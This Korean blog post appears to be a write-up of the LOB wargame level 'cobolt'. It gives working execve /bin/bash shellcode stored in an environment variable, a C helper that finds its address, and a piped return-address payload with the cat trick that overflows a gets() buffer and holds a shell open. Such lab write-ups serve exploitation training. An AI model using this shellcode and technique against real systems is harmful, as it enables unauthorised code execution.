본문 바로가기
wargame/LOB

[포너블] LOB 3 - cobolt

by 아메리카노와떡볶이 2021. 9. 26.
728x90
LOB 3 - cobolt write up

이번 문제는 cobolt이다.

goblin 이 보인다

이번에는 small buffer에 stdin 즉 입력이 추가되었다.

음 그냥 gremlin에서 공격한 방식으로 만든 페이로드를 입력에 넣으면 해결되는거 아닌가? 

이 생각이 1차원적으로 들었다.

이렇게 실행하면 입력을 하게되는데 여기 입력에 페이로드를 넣어보려고 한다.

마찬가지로 버퍼의 크기가 작으므로 환경변수를 이용하자.

export shellcode=`python -c 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"'`

환경변수로 쉘코드가 등록이 되었다.

#include <stdio.h>
#include <stdlib.h>

int main(){
        printf("shellcode : %p\n", getenv("shellcode"));
}

등록한 쉘코드의 시작주소를 알아내자.

아까와 마찬가지로 페이로드를 작성한다.

python -c 'print "\x90"*20+"\x67\xff\xff\xbf"'

처음에 위의 페이로드를 단순히 입력에 넣었는데, 그냥 세그먼트 폴트가 뜨고 쉘이 안따졌다. 즉 표준입력으로 페이로드를 넣는 방법외에, 다른 방법으로 입력을 주어야하는데, 파이프를 사용해서 그게 가능하다.

(python -c 'print "\x90"*20+"\x67\xff\xff\xbf"';) | ./goblin

이렇게하면 앞의 명령어에 대한 표준출력이 명령어2의 표준입력이 된다. 

하지만 gets 함수의 stdin 때문에, 스택프레임보다 큰 입력을 주게되면 kernel영역을 침범하게되고 비정상적으로 종료되게 된다.

이때 사용할 수 있는것이 cat명령어이다.

(python -c 'print "\x90"*20+"\x67\xff\xff\xbf"';cat) | ./goblin

cat 명령어에 파일을 지정하지않으면 표준입력을 받고, 그대로 표준출력을 하기때문에 쉘이 종료되지않고

계속해서 입력을 받게하여, 명령어1의 표준출력이 ./gobin의 입력값으로 잘 전달될 수 있게한다.

해결!

728x90

'wargame > LOB' 카테고리의 다른 글

[포너블] LOB 6 - wolfman  (0) 2021.09.30
[포너블] LOB 5 - orc  (0) 2021.09.30
[포너블] LOB 4 - goblin  (0) 2021.09.30
[포너블] LOB 2 - gremlin  (0) 2021.09.26
[포너블] LOB 1 - gate  (0) 2021.09.26

댓글